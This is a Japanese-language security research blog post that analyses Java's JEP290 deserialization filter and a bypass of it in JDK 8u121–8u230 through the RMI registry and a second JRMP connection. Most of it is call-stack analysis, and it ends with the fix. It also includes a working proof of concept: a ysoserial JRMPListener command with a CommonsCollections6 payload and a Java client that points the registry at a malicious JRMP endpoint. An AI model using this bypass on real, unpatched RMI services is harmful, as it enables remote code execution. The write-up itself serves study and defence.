w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JEP290バイパス

前言#

上文では、RMI の逆シリアル化に関するいくつかの攻撃手法を分析しました。この文章では、JEP290 メカニズムの検出と回避の考え方について学びました。全体の流れは比較的明確で、レジストリをクライアント側として悪意のある JRMP サーバーに RMI リクエストを発信させるというものです。この時、環境のフィルターは空です。

JEP290 とは#

実験バージョン jdk1.8.0_192

高バージョンの JDK は JEP 290 ポリシーを導入し、クライアントとレジストリの通信過程でデフォルトで registryFilter を設定し、ホワイトリストにあるクラスのみが逆シリアル化できるようにしています。

簡単に言うと、これは逆シリアル化攻撃を防ぐためのホワイトリスト / ブラックリストのフィルターです。

  1. 逆シリアル化クラスを制限するメカニズムを提供する、ホワイトリストまたはブラックリスト
  2. 逆シリアル化の深さと複雑さを制限する
  3. RMI リモート呼び出しオブジェクトに対してクラスの検証メカニズムを提供する
  4. プロパティファイルの形式でフィルターを定義できるようにするなど、構成可能なフィルターメカニズムを定義する。

公式文書:https://openjdk.java.net/jeps/290

JEP290 がサポートするバージョン:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP290 を設定する方法は以下の 2 つです:

  1. setObjectInputFilter を使用してフィルターを設定する
  2. conf/security/java.properties ファイルを直接構成する

JEP290 のプロセス分析#

image

zjj の言葉によれば、実際にはクライアントとレジストリの通信を 2 つの部分に分けています。最初の部分はクライアントとレジストリの正常な通信であり、2 番目の部分はレジストリがクライアントとして悪意のある JRMP サーバーに RMI リクエストを発信することです。2 番目の通信では、JEP290 チェックは行われません。

image

上の図はリクエストを処理するコードですが、2 つ目のブレークポイントには lookup 接続が存在します。したがって、いくつかのパラメータを制御できる場合、2 つ目のブレークポイントをエントリーポイントとして扱い、その中で新しい RMI 通信を行うことができます。

JEP290 チェックポイント#

image

まず、サーバー側はRegistryImpl_Skel#dispatchでリモート呼び出しを処理します。case 0 は bind 操作に対応し、var82 はバインドされるオブジェクトの名前、var87 はエクスポートされるリモートオブジェクトに対応し、ここで受信したリモート呼び出しストリームを逆シリアル化します。

image

次に、順次ステップを進めます:

image

image

image

readClassDescメソッドは、逆シリアル化されるクラスによって異なるケースに入ります。ここでプロキシクラスに注意してください。

image

filterCheckに入ります。

image

最初に分析するときは、logging からブレークポイントを設定できます。この情報はエラーから得られ、呼び出しスタックに基づいて全体のチェックプロセスを分析します。呼び出しスタックは以下の通りです。

filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

image

filterCheckstatus = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));部分では、check メソッドが呼び出されます:RegistryImpl#registryFilterです。

image

ここでは逆シリアル化されるクラスにホワイトリスト制限がかけられます:

String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID

逆シリアル化されるクラスがホワイトリストにない場合、REJECTED オペレーターが返され、シリアル化ストリームに不正な内容が含まれていることを示し、例外がスローされます。

サーバー側で bind メソッドの引数は Remote インターフェースを実装したオブジェクトでなければなりませんが、通常の CC チェーンで生成された悪意のあるオブジェクトはこの条件を満たしません。このため、Remote インターフェースを代理するために動的プロキシが必要です。実際には、最終的にバインドされるのは動的プロキシによって生成されたプロキシオブジェクトです:

InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);

逆シリアル化の際、プロキシオブジェクト自体の逆シリアル化だけでなく、その内部フィールドも逆シリアル化される必要があります。これは再帰的なプロセスに似ています。プロキシオブジェクト自体(それ自体がプロキシされるインターフェースを実装している、ここでは Remote インターフェース)はチェックをトリガーしません。実際にチェックをトリガーするのは内部の InvocationHandlerImpl です。

上記の呼び出しスタックを見れば、実際には readObject0 メソッドが 2 回呼び出されていることがわかります。最初はプロキシオブジェクト自体の逆シリアル化、2 回目はその内部フィールドの逆シリアル化です。

readSerialDataメソッドはオブジェクト内部のフィールドを読み取り、次に readObject0 メソッドを処理します:

image

最終的にInvocationHandlerImplがフィルターのチェックをトリガーします:

image

image

フィルター作成プロセス#

チェックをトリガーする際、フィルターはラムダ式です。

image

これによりRegistryImpl#registryFilterに入ります。全体の呼び出しスタックは以下の通りです。

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

問題は、なぜRegistryImpl#registryFilterに入るのかです。まずRegistryImplのコンストラクタを見てみましょう。

image

複数のオーバーロードされたコンストラクタがありますが、コアはフィルターとしてラムダ式を渡すことです。

RegistryImpl::registryFilterinfo → RegistryImpl.registryFilter(info)であり、これはObjectInputFilterインターフェースの抽象メソッドのシグネチャと一致するため、メソッド参照を使用して簡略化できます:

image

image

同時に、2 番目のコンストラクタでは、ラムダ式が ObjectInputFilter インターフェースの形式で UnicastServerRef2 のコンストラクタに渡されます。

image

image

image

最終的に、このクラスのフィルターのメンバー変数に割り当てられます。

また、レジストリの作成過程でフィルターは最終的に UnicastServerRef のメンバー変数として存在し、レジストリがリクエストを処理する際に oldDispatch メソッドでフィルターが ObjectInputStream のメンバー変数 serialFilter に割り当てられます。

image

image

呼び出しスタック:

setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

Bypass 8u121~8u230#

UnicastRef クラス#

コードの観点から見ると、bind、lookup などのメソッドを実行する際には、まずレジストリを取得します。例えば:

Registry registry = LocateRegistry.getRegistry(1099);

LocateRegistry#getRegistryメソッドを追跡します:

image

image

ここで、TCPEndpoint はレジストリのホスト、ポートなどの情報をカプセル化し、UnicastRef は liveRef をカプセル化します。最終的に取得されるのは RegistryImpl_Stub オブジェクトです。

image

その後、この Stub オブジェクト(クライアント)を使用してレジストリに接続します。ここでは bind メソッドの例を挙げます。

このプロセスから見ると、UnicastRef の newCall メソッドを介して接続を開始し、検索するオブジェクトをレジストリに送信します。

したがって、UnicastRef 内の LiveRef がカプセル化するホスト、ポートなどの情報を制御できれば、任意の JRMP 接続リクエストを発信できます。これは実際には ysoserial の payloads.JRMPClient の原理です。

RemoteObject クラス#

RemoteObject は抽象クラスであり、後のバイパスの考え方の構築において非常に重要な役割を果たします。これは Remote および Serializable インターフェースを実装しており、ホワイトリストの検出を通過できることを示しています。バイパスで利用される重要なポイントは、その readObject メソッドです:

image

テストコード#

ここで攻撃するのはregisterです。以下のコマンドと Java ファイルを順に実行します。

/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"

RMIRegistry

package bypass_jep290;

import java.rmi.registry.LocateRegistry;

public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

DefineClient

package bypass_jep290;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class DefineClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 3333);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        // lookupメソッドも使用できますが、lookupメソッドのプロセスを手動でシミュレートする必要があります。
        registry.bind("pwn", handler);
    }
}

リクエスト処理時のリモート呼び出しオブジェクトの逆シリアル化(チェックあり)#

image

まず、クライアントがレジストリに bind リクエストを発信し、RegistryImpl_Skel#dispatchの処理ロジックに入ります。readObjectでクライアントがレジストリに送信したリモート呼び出しオブジェクトを逆シリアル化します。この中には JEP290 のチェックポイントが存在します。呼び出しスタックは以下の通りです。

filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

image

逆シリアル化されるオブジェクトがRemoteObjectInvocationHandlerであるため、チェックを回避し、次にRemoteObjectreadObjectメソッドに入ります。

image

このメソッドでは、シリアル化ストリームからホストとポート情報(悪意のある JRMP サービスのホストとポート)を読み取り、再び LiveRef オブジェクトとしてカプセル化し、現在の ConnectionInputStream に保存します。saveRef メソッドを呼び出します:

image

TCPEndpoint と ArrayListのマッピング関係が確立されます。

呼び出しスタックは以下の通りです。

readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

次に、releaseInputStreamRemoteCallに関連付けられた入力ストリームを解放しますが、ここで lookup 検索操作が行われます。

image

ここでの in は、上で述べた LiveRef オブジェクトをカプセル化した ConnectionInputStream オブジェクトです。さらに追跡します:

image

ここでは、以前に保存されたマッピング関係に基づいて、シリアル化ストリームからホストとポート情報(悪意のある JRMP サービスのホストとポート)を読み取り、値を抽出してDGCClient#registerRefsメソッドに渡します。

image

image

ここでの lookup は実際には何も行っておらず、単に var0 をカプセル化しただけです。

その後、executeCall()内でthis.getInputStream();が新しい通信を確立し、受信したシリアル化データを逆シリアル化します。

image

image

呼び出しスタックは以下の通りです。

executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

TCPEndpoint(JRMP 段アドレス)の割り当て#

Poc を作成するには、TCPEndpoint がどのように割り当てられるかを確認する必要があります。上記で分析したように、RemoteObject の readObject メソッドから始まります。ここで注意すべき詳細を再確認します。

image

ここでは、シリアル化データからipportを抽出し、TCPEndpointを生成してvar2に割り当て、その後LiveRefとしてカプセル化し、var6.saveRef()に渡します。

image

saveRef()内では、最終的にincomingRefTableというtableに存在します。この変数からオブジェクトを取得することができます。

この変数に値を割り当てることができるかどうかを確認します。重要なコードは以下の通りです。

TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);

第二段通信に関するチェックの詳細#

最初の通信はサーバーがレジストリに bind し、Register端にデータを送信します。

image

上文で述べたように、レジストリの作成過程でフィルターは最終的に UnicastServerRef のメンバー変数として存在し、レジストリがリクエストを処理する際に oldDispatch メソッドでフィルターが ObjectInputStream のメンバー変数 serialFilter に割り当てられます。したがって、現在の serialFilter は null です。

image

同時に、ここでのConnectionInputStream@953の番号に注意してください。

次に、UnicastServerRef#unmarshalCustomCallData()内でthis.serialFilterに値が設定されます。

image

ここでの番号はConnectionInputStream@953です。

次に、第二段の JRMP 通信に入ります。

上記で述べた新しい通信を確立した後、ObjectInputStream にserialFilterが設定されますが、UnicastServerRef#oldDispatchメソッドには入らないため、ここでのserialFilterは null です。

image

image

番号はConnectionInputStream@1121であり、その後StreamRemoteCall#executeCallメソッドで JRMP から返された悪意のあるオブジェクトを逆シリアル化します。

image

ここでもserialFilterは設定されていません。

小結#

ここで私が言いたいのは、これを明確に分けることです。この方法がJEP290を回避できる理由は、最初の通信がregistryServer端の間で行われ、第二の通信がJMRP端との間で行われることです。ここでのConnectionInputStreamは実際にはObjectInputStreamを表しており、最初の通信中に設定されたserialFilterは最初の通信中にのみ作用し、RegisterとServerの間のreadObjectにのみ作用します!!(JEP290の作用域

同時に、JEP290 を回避する考え方は以下の通りです:

  1. ysoserial を使用して悪意のある JRMPListener を起動する。
  2. RemoteObject 内の UnicastRef オブジェクトを制御する。このオブジェクトは悪意のあるサーバーのホスト、ポートなどの情報をカプセル化しています。
  3. クライアント / サーバーがレジストリにこの RemoteObject オブジェクトを送信し、レジストリが readObject メソッドをトリガーすると、悪意のある JRMP サーバーへの接続リクエストが発信されます。
  4. その後、JRMPListener がトリガーされます。

レジストリが逆シリアル化をトリガーする利用チェーン:

クライアントがデータを送信 –> UnicastServerRef#dispatch –> UnicastServerRef#oldDispatch –> RegistryImpl_Skle#dispatch (リクエスト処理)
> RemoteObject#readObject (最初の通信、RemoteObject#readObjectに入る、逆シリアル化を通過させるために内部のUnicastRefオブジェクトを設定し、悪意のあるサーバーへのJRMPリクエストを発信)
StreamRemoteCall#releaseInputStream (リソース解放時、第二の通信のエントリーポイント)
> ConnectionInputStream#registerRefs –> DGCClient#registerRefs –> DGCClient$EndpointEntry#registerRefs 
> DGCClient$EndpointEntry#makeDirtyCall –> DGCImpl_Stub#dirty –> UnicastRef#invoke –> (RemoteCall var1) StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”

yso のコード#

/**
 * Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(JRMPListener.class, args);
    }
}
待補充 poc 編写思路、看看 ysoserial の二開#

修正#

dirty()メソッド内で通信を確立した後、this.filterJEP290(式)を設定しました。

元の

image

image

修正後

image

その後、this.inserialFilterにこのfilterを設定しました。

image

dirty()メソッド内で通信を確立した後、this.filterJEP290(式)を設定しました。

image

その後、検出されました。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。